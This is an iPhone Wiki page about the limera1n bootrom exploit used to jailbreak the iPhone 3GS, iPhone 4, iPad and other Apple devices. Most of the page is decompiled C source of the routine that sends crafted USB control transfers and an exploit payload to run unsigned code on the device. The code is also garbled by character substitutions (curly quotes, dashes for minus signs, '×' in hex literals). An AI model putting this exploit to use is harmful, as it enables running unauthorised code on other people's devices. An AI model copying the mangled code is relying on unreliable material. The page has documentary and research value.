limera1n Exploit

From The iPhone Wiki
Revision as of 22:33, 1 January 2012 by Dialexio (talk | contribs)
Jump to: navigation, search

The limera1n exploit is the bootrom exploit used to run unsigned code (and thereby jailbreak) the iPhone 3GS, iPod touch 3G, iPod touch 4G, iPad, iPhone 4 GSM, iPhone 4 CDMA, and the Apple TV 2G. It was first used in the limera1n tool by geohot. It is actively used on all the supported devices to perform a jailbreak on current versions of iOS, which is tethered unless there is another exploit available to "untether" the jailbreak, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.

Source Code

signed int __cdecl upload_exploit() 
{
    int v0;            // eax@1

    signed int v1;     // edx@2
    
int v2;            // ebx@2
    
int v3;            // eax@4

    char *v4;          // eax@5
    
unsigned int v5;   // ebx@8
    
int v6;            // ecx@14
    
signed int result; // eax@15
    
signed int v8;     // ST38_4@18
    
int v9;            // eax@28

    signed int v10;    // [sp+38h] [bp-1030h]@4

    signed int v11;    // [sp+3Ch] [bp-102Ch]@2

    char v12;          // [sp+4Ch] [bp-101Ch]@3
    
char v13;          // [sp+84Ch] [bp-81Ch]@5

    int v14;           // [sp+104Ch] [bp-1Ch]@1
    v14 = *MK_FP(__GS__, 20);

    v0 = *(_DWORD *)(device + 16);

    
    if ( v0 == 8930 )
 {

        v11 = 174080;

        v1 = -2080198655;

        v2 = -2080129124;
    
}
 else 
{

        v1 = -2080231423;

        v11 = 141312;

        v2 = (((v0 == 8920) – 1) & 0xFFFFFFF4) – 2080161884;
    
}

    
    memset(&v12, 0, 0×800u);

    memcpy(&v12, exploit, 0×230u);
    
    
if (libpois0n_debug) 
{

        v8 = v1;
        
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”);
        v1 = v8;
    }
    
    v10 = v1;

    v3 = irecv_reset_counters(client);
    
    
if ( v3 ) 
{

        irecv_strerror(v3);

        __fprintf_chk(stderr, 1, &aCannotFindS[12]);

        result = -1;

    }
 else
 {

        memset(&v13, -858993460, 0×800u);
        
v4 = &v13;

        
        do
 {

            *(_DWORD *)v4 = 1029;

            *((_DWORD *)v4 + 1) = 257;
            *((_DWORD *)v4 + 2) = v10;
            *((_DWORD *)v4 + 3) = v2;

            v4 += 64;
        
}
 while ((int *)v4 != &v14);
        
        
if (libpois0n_debug)

            ((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Sending chunk headers\n”);
        
        
v5 = 0;
        
irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);

        memset(&v13, -858993460, 0×800u);

        
        do 
{

            v5 += 2048;
            
irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
        
} 
while (v5 < v11);
        
        
if (libpois0n_debug)
            
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending exploit payload\n");
        
        
irecv_control_transfer(client, 33, 1, 0, 0, &v12, 2048);
        
        
if (libpois0n_debug)
            
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending fake data\n");

        
        memset(&v13, -1145324613, 0x800u);

        irecv_control_transfer(client, 161, 1, 0, 0, &v13, 2048);

        irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
        
        if (libpois0n_debug)
            ((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Executing exploit\n");
        
        
irecv_control_transfer(client, 33, 2, 0, 0, &v13, 0);
        
irecv_reset(client);
        
irecv_finish_transfer(client);

        
        if (libpois0n_debug)
 {
            
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Exploit sent\n");
            if (libpois0n_debug)
                ((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Reconnecting to device\n");

        }
        
        
client = (void *)irecv_reconnect(client, 2u);
        
        
if (client) 
{

            result = 0;

        }
 else
 {
            if (libpois0n_debug)
 {

                v9 = irecv_strerror(0);
                __fprintf_chk(stderr, 1, &aCannotFindS[12], v9);
            }
            __fprintf_chk(stderr, 1, "Unable to reconnect\n");

            result = -1;

        }

    }
    
if (*MK_FP(__GS__, 20) != v14)

        __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

    
    return result;

}